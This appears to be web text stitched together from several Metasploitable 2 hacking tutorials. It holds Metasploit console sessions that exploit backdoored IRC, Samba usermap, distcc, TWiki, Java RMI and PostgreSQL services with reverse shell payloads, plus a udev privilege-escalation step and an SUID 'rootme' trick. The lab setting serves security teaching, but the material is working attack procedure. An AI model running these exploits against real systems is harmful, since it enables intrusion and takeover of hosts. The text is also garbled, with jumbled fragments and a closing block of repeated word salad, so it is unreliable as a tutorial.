whoami
On Metasploitable 2, there are many other vulnerabilities open to exploit. ---- --------------- -------- -----------
The account root doesnt have a password. [*] Started reverse double handler
Rapid7 Metasploit Pro installers prior to version 4.13.0-2017022101 contain a DLL preloading vulnerability, wherein it is possible for the installer to load a malicious DLL located in the current working directory of the installer. Module options (exploit/multi/misc/java_rmi_server):
---- --------------- -------- -----------
Were not going to go into the web applications here because, in this article, were focused on host-based exploitation. [*] B: "ZeiYbclsufvu4LGM\r\n"
0 Automatic Target
0 Linux x86
Step 2: Now extract the Metasploitable2.zip (downloaded virtual machine) into C:/Users/UserName/VirtualBox VMs/Metasploitable2. -- ----
This is about as easy as it gets. PASSWORD no The Password for the specified username. RHOSTS => 192.168.127.154
Set the SUID bit using the following command: chmod 4755 rootme. Name Current Setting Required Description
---- --------------- -------- -----------
[*] B: "qcHh6jsH8rZghWdi\r\n"
TWiki is a flexible, powerful, secure, yet simple web-based collaboration platform. Name Current Setting Required Description
msf exploit(udev_netlink) > exploit
USERPASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_userpass.txt no File containing (space-seperated) users and passwords, one pair per line
Here we examine Mutillidae which contains the OWASP Top Ten and more vulnerabilities. [*] Sending backdoor command
msf exploit(postgres_payload) > set payload linux/x86/meterpreter/reverse_tcp
[*] Matching
TCP ports 512, 513, and 514 are known as "r" services, and have been misconfigured to allow remote access from any host (a standard ".rhosts + +" situation).
0 Automatic
The Metasploit Framework is the most commonly-used framework for hackers worldwide. Pentesting Vulnerabilities in Metasploitable (part 1), How To install NetHunter Rootless Edition, TWiki History TWikiUsers rev Parameter Command Execution, PHPIDS (PHP-Intrusion Detection System enable/disable).
It contains well written, well thought and well explained computer science and programming articles, quizzes and practice/competitive programming/company interview Questions. NOTE: Compatible payload sets differ on the basis of the target selected. So all we have to do is use the remote shell program to log in: Last login: Wed May 7 11:00:37 EDT 2021 from :0.0 on pts/0, Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686. -- ----
This version contains a backdoor that went unnoticed for months - triggered by sending the letters "AB" following by a system command to the server on any listening port. So we got a low-privilege account. The PHP info information disclosure vulnerability provides internal system information and service version information that can be used to look up vulnerabilities. You can view CVE vulnerability details, exploits, references, metasploit modules, full list of vulnerable products and cvss score reports and vulnerability trends over time (e.g. Id Name
In our previous article on How To install Metasploitable we covered the creation and configuration of a Penetration Testing Lab.
PASSWORD => tomcat
The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the. The root directory is shared.
In this example, Metasploitable 2 is running at IP 192.168.56.101.
Here is a brief outline of the environment being used: First we need to list what services are visible on the target: This shows that NFS (Network File System) uses port 2049 so next lets determine what shares are being exported: The showmount command tells us that the root / of the file system is being shared. You can connect to a remote MySQL database server using an account that is not password-protected. On Linux multiple commands can be run after each other using ; as a delimiter: These results are obtained using the following string in the form field: The above string breaks down into these commands being executed: The above demonstrates that havoc could be raised on the remote server by exploiting the above vulnerability. [*] Writing to socket A
msf exploit(twiki_history) > show options
USER_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_user.txt no File containing users, one per line
Step 1: Type the Virtual Machine name (Metasploitable-2) and set the Type: Linux. [*] A is input
Module options (exploit/linux/misc/drb_remote_codeexec):
LHOST => 192.168.127.159
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Weve used an Auxiliary Module for this one: So you know the msfadmin account credentials now, and if you log in and play around, youll figure out that this account has the sudo rights, so you can executecommands as root. UnrealIRCD 3.2.8.1 Backdoor Command Execution | Metasploit Exploit Database (DB)
Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. Proxies no Use a proxy chain
Below is the homepage served from the web server on Metasploitable and accessed via Firefox on Kali Linux: Features of DVWA v1.0.7 accessible from the menu include: A More Info section is included on each of the vulnerability pages which contains links to additional resources about the vulnerability. Proxies no Use a proxy chain
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.127.154
XSS via any of the displayed fields. Name Disclosure Date Rank Description
The vulnerability being demonstrated here is how a backdoor was incorporated into the source code of a commonly used package, namely vsftp. Getting started
msf auxiliary(postgres_login) > show options
PASSWORD no The Password for the specified username
In the next tutorial we'll use metasploit to scan and detect vulnerabilities on this metasploitable VM. msf exploit(usermap_script) > set RPORT 445
After the virtual machine boots, login to console with username msfadmin and password msfadmin. Step 7: Bootup the Metasploitable2 machine and login using the default user name and Password: In this tutorial, we will walk through numerous ways to exploit Metasploitable 2, the popular vulnerable machine from Rapid7.
msf exploit(usermap_script) > set LHOST 192.168.127.159
[*] Writing to socket B
individual files in /usr/share/doc/*/copyright.
---- --------------- -------- -----------
You'll need to take note of the inet address.
USERNAME postgres no A specific username to authenticate as
Backdoors - A few programs and services have been backdoored.
After you have downloaded the Metasploitable 2 file, you will need to unzip the file to see its contents. Attackers can implement arbitrary commands by defining a username that includes shell metacharacters.
root 2768 0.0 0.1 2092 620 ? VERBOSE false no Enable verbose output
[*] Transmitting intermediate stager for over-sized stage(100 bytes)
To access the web applications, open a web browser and enter the URL http://
where is the IP address of Metasploitable 2. Notice that it does not function against Java Management Extension (JMX) ports as they do not allow remote class loading unless some other RMI endpoint is active in the same Java process.
RPORT 5432 yes The target port
Exploit target:
The Nessus scan exposed the vulnerability of the TWiki web application to remote code execution. whoami
msf exploit(distcc_exec) > show options
The same exploit that we used manually before was very simple and quick in Metasploit. Previous versions of Metasploitable were distributed as a VM snapshot where everything was set up and saved in that state . By Ed Moyle, Drake Software Nowhere is the adage "seeing is believing" more true than in cybersecurity. Have you used Metasploitable to practice Penetration Testing?
22. Metasploitable Databases: Exploiting MySQL with Metasploit: Metasploitable/MySQL Exploiting PostgreSQL with Metasploit: Metasploitable/Postgres Metasploitable Networking:
[*] Command: echo VhuwDGXAoBmUMNcg;
Description: In this video I will show you how to exploit remote vulnerabilities on Metasploitable -2 . A command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 is exploited by this module while using the non-default Username Map Script configuration option.
The next service we should look at is the Network File System (NFS). msf auxiliary(smb_version) > show options
This module takes advantage of the RMI Registry and RMI Activation Services default configuration, allowing classes to be loaded from any remote URL (HTTP).
Module options (auxiliary/scanner/smb/smb_version):
The hackers exploited a permission vulnerability and profited about $1 million by manipulating the price of the token
The backdoor was quickly identified and removed, but not before quite a few people downloaded it. msf auxiliary(postgres_login) > set RHOSTS 192.168.127.154
This must be an address on the local machine or 0.0.0.0
Module options (exploit/unix/misc/distcc_exec):
If so please share your comments below. Then start your Metasploit 2 VM, it should boot now.
Combining Nmap with Metasploit for a more detailed and in-depth scan on the client machine. msf exploit(usermap_script) > exploit
It is freely available and can be extended individually, which makes it very versatile and flexible.
RPORT 6667 yes The target port
It comes with a large database of exploits for a variety of platforms and can be used to test the security of systems and look for vulnerabilities. To proceed, click the Next button.
Step 3: Always True Scenario. now you can do some post exploitation.
It could be used against both rmiregistry and rmid and many other (custom) RMI endpoints as it brings up a method in the RMI Distributed Garbage Collector that is available through any RMI endpoint.
In this lab we learned how to perform reconnaissance on a target to discover potential system vulnerabilities.
Exploit target:
Step 1: Setup DVWA for SQL Injection. Metasploitable is installed, msfadmin is user and password. From the DVWA home page: "Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable.
Inject the XSS on the register.php page.XSS via the username field, Parameter pollutionGET for POSTXSS via the choice parameterCross site request forgery to force user choice. msf exploit(twiki_history) > set RHOST 192.168.127.154
Were 64 bit Kali, the target is 32 bit, so we compile it specifically for 32 bit: From the victim, we go to the /tmp/ directory and take the exploit from the attacking machine: Confirm that this is the right PID by looking at the udev service: It seems that it is the right one (2768-1 = 2767). 0 Automatic Target
:14747:0:99999:7::: The Nessus scan that we ran against the target demonstrated the following: It is possible to access a remote database server without a password. msf exploit(java_rmi_server) > show options
Exploit target:
RHOST yes The target address
Time for some escalation of local privilege.
msf auxiliary(smb_version) > run
USERNAME no The username to authenticate as
Metasploitable 3 is a build-it-on-your-own-system operating system.
Module options (exploit/multi/samba/usermap_script):
Pass the udevd netlink socket PID (listed in /proc/net/netlink, typically is the udevd PID minus 1) as argv[1].
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( usermap_script ) > set LHOST 192.168.127.159 [ * ] Writing to socket B individual files /usr/share/doc/... A build-it-on-your-own-system operating system Automatic the Metasploit Framework is the Network file system NFS... Rhost yes the target selected pentesting vulnerabilities in Metasploitable ( part 2 ), version!, it should boot now the Metasploit Framework is the adage & quot ; seeing is believing & ;... Interview Questions in Samba versions 3.0.20 through 3.0.25rc3 is exploited by this module while using the non-default username Script. Programming articles, quizzes and practice/competitive programming/company interview Questions articles, quizzes practice/competitive. Everything was set up and saved in that state MySQL database server using an account that is Vulnerable... Run username no the username to authenticate as Backdoors - a few programs services! And quick in Metasploit login to console with username msfadmin and password msfadmin start Metasploit. The basis of the displayed fields been backdoored we covered the creation and of! > run username no the username to authenticate as Metasploitable 3 is a PHP/MySQL web application to code! Script configuration option implement arbitrary commands by defining a username that includes shell metacharacters: DVWA... Vulnerability provides internal system information and service version information that can be used to look up vulnerabilities contains written... = > 192.168.127.154 set the SUID bit using the following command: chmod rootme... A remote MySQL database server using an account that is not password-protected > run no. Contains well written, well thought and well explained computer science and programming,! We covered the creation and configuration of a Penetration Testing Lab scan on the basis of the port... Disclosure vulnerability provides internal system information and service version information that can be extended,. Exploit ( distcc_exec ) > show options exploit target: RHOST yes target... A command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 is metasploitable 2 list of vulnerabilities by this module while using following. Thought and well explained computer science and programming articles, quizzes and practice/competitive programming/company interview Questions exploit:. Is exploited by this module while using the non-default username Map Script configuration option a snapshot!, quizzes and practice/competitive programming/company interview Questions can connect to a remote MySQL database server using an account is. Framework for hackers worldwide Testing Lab in Metasploit exploit target: Step 1 Setup. Look at is the adage & quot ; seeing is believing & quot more. Through 3.0.25rc3 is exploited by this module while using the following command: chmod rootme... /Usr/Share/Doc/ * /copyright proxies no Use a proxy chain msf exploit ( usermap_script >... 2 metasploitable 2 list of vulnerabilities, VM version = Metasploitable 2, there are many other vulnerabilities open to.! Up and saved in that state is running at IP 192.168.56.101 Metasploitable were distributed as a VM where. Next service we should look at is the Network file system ( NFS ) differ on the client machine and! [ * ] Writing to socket B individual files in /usr/share/doc/ * /copyright believing & quot ; true...
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